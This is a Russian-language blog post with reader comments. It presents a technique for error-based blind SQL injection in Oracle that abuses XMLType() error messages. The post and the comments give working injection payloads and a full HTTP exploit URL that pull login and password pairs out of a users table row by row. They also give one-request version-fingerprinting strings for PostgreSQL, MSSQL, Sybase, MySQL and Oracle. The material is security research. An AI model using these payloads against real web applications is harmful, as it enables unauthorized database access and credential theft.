Убедившись в том, что все известные способы эксплуатации error-based blind SQL Injection не работают в среде оракла, мое внимание привлекли функции взаимодействия с форматом XML. Немного поковырявшись в них, была обнаружена функция XMLType(), которая возвращает в сообщении об ошибке первый символ из запрашиваемых данных (LPX-00XXX):
SQL> select XMLType((select 'abcdef' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00210: expected '<' instead of 'a' Error at line 1 ORA-06512: at "SYS.XMLTYPE", line 301 ORA-06512: at line 1 no rows selected SQL>
Уже хлеб. Используя функцию substr() становиться возможным посимвольное чтение требуемой информации. Например, можно достаточно быстро определить версию установленной базы данных:
select XMLType((select substr(version,1,1) from v$instance)) from users;
select XMLType((select substr(version,2,1) from v$instance)) from users;
select XMLType((select substr(version,3,1) from v$instance)) from users;
...и т.п.
Считывание одного символа в один запрос при эксплуатации слепых SQL-инъекций – это здорово, но было бы глупо останавливаться на достигнутом.
Продолжая копать функцию XMLType() мне удалось найти аналогичный способ проброса данных в сообщении об ошибке, который существует и в других базах данных:
SQL> select XMLType((select '<abcdef:root>' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00234: namespace prefix "abcdef" is not declared ... SQL> select XMLType((select '<:abcdef>' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00110: Warning: invalid QName ":abcdef" (not a Name) ... SQL>
Вроде бы все замечательно, но есть несколько подводных камней. Первая загвоздка заключается в том, что в оракле не происходит автоматическое приведение типов. Поэтому такой запрос выдаст ошибку:
SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual); select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual) ERROR at line 1: ORA-00932: inconsistent datatypes: expected NUMBER got -
Второй нюанс заключается в том, что у ораклятины отсутствует limit и offset, что не позволяет простым путем осуществлять построчное чтение данных. И третья проблема связана с тем, что функция XMLType() при обработке ошибки обрезает возвращаемые данные после некоторых символов. Например, когда в строке встречается пробел или символ at ("@") и др..
Но все можно разрулить;) Для решения проблемы с приведением типов может использоваться функция upper(). Организовать построчное чтение данных, можно с использованием следующей нехитрой конструкции:
select id from(select id,rownum rnum from users a)where rnum=1;
select id from(select id,rownum rnum from users a)where rnum=2;
...
Ну, а для того, чтобы избежать потерю возвращаемых данных, может использоваться hex-кодирование. Опционально, можно также избавиться от кавычек в отправляемом запросе используя числовое представление символов (ascii), что в перспективе позволит обходить фильтрацию при обработке поступающих данных в приложение. Таким образом, конечный запрос примет следующий вид:
select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual);
select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual);
...
Используя данную технику за один http-запрос можно считывать до 214 байт в приложении (107 символов при использовании hex-кодирования), которое функционирует под управлением СУБД Oracle >=9.0 и возвращает сообщение об ошибке:
http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--
Для декодирования получаемых данных из приложения при эксплуатации SQL-инъекции описанным способом, в том числе, может использоваться стандартная функция оракла utl_raw.cast_to_varchar2():
Таким образом, учитывая предыдущую публикацию на эту тему, доступны универсальные и быстрые техники эксплуатации error-based blind SQL Injection для следующих СУБД: PostgreSQL, MSSQL, Sybase, а также для MySQL версии >=4.1 и Oracle версии >=9.0. Для идентификации используемой версии базы данных в один http-запрос, могут применяться следующие конструкции:
PostgreSQL:
/?param=1 and(1)=cast(version() as numeric)--
MSSQL:
/?param=1 and(1)=convert(int,@@version)--
Sybase:
/?param=1 and(1)=convert(int,@@version)--
MySQL>=4.1<5.0:
/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)--
ИЛИ
/?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--
MySQL>=5.0:
/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
Oracle >=9.0:
/?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
Ну вообще шикарно :)
ОтветитьУдалитьПрисоединяюсь к посту выше - отличное исследование в Oracle sql inj. Надо взять на вооружение
ОтветитьУдалитьOracle >=8.0:
ОтветитьУдалить/?param=1 and(1)=(utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1)))--
В тему error based на mysql
ОтветитьУдалитьhttps://rdot.org/forum/showthread.php?t=503
не смог проиграть вектор :(
ОтветитьУдалитьmysql> select count(*),concat(version(),floor(rand(0)*2))x from test group by x;
ERROR 1062: Duplicate entry '3.23.58-max-debug1' for key 1
mysql> select a from test where a='test1' group by concat(version(),floor(rand(0)*2)) having min(0);
Empty set (0.20 sec)
на MySQL 4.0.27 ситуация аналогичная
универсальный детект версии MySQL 3x-4.0.x
ОтветитьУдалитьor 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1--
tnx BlackFan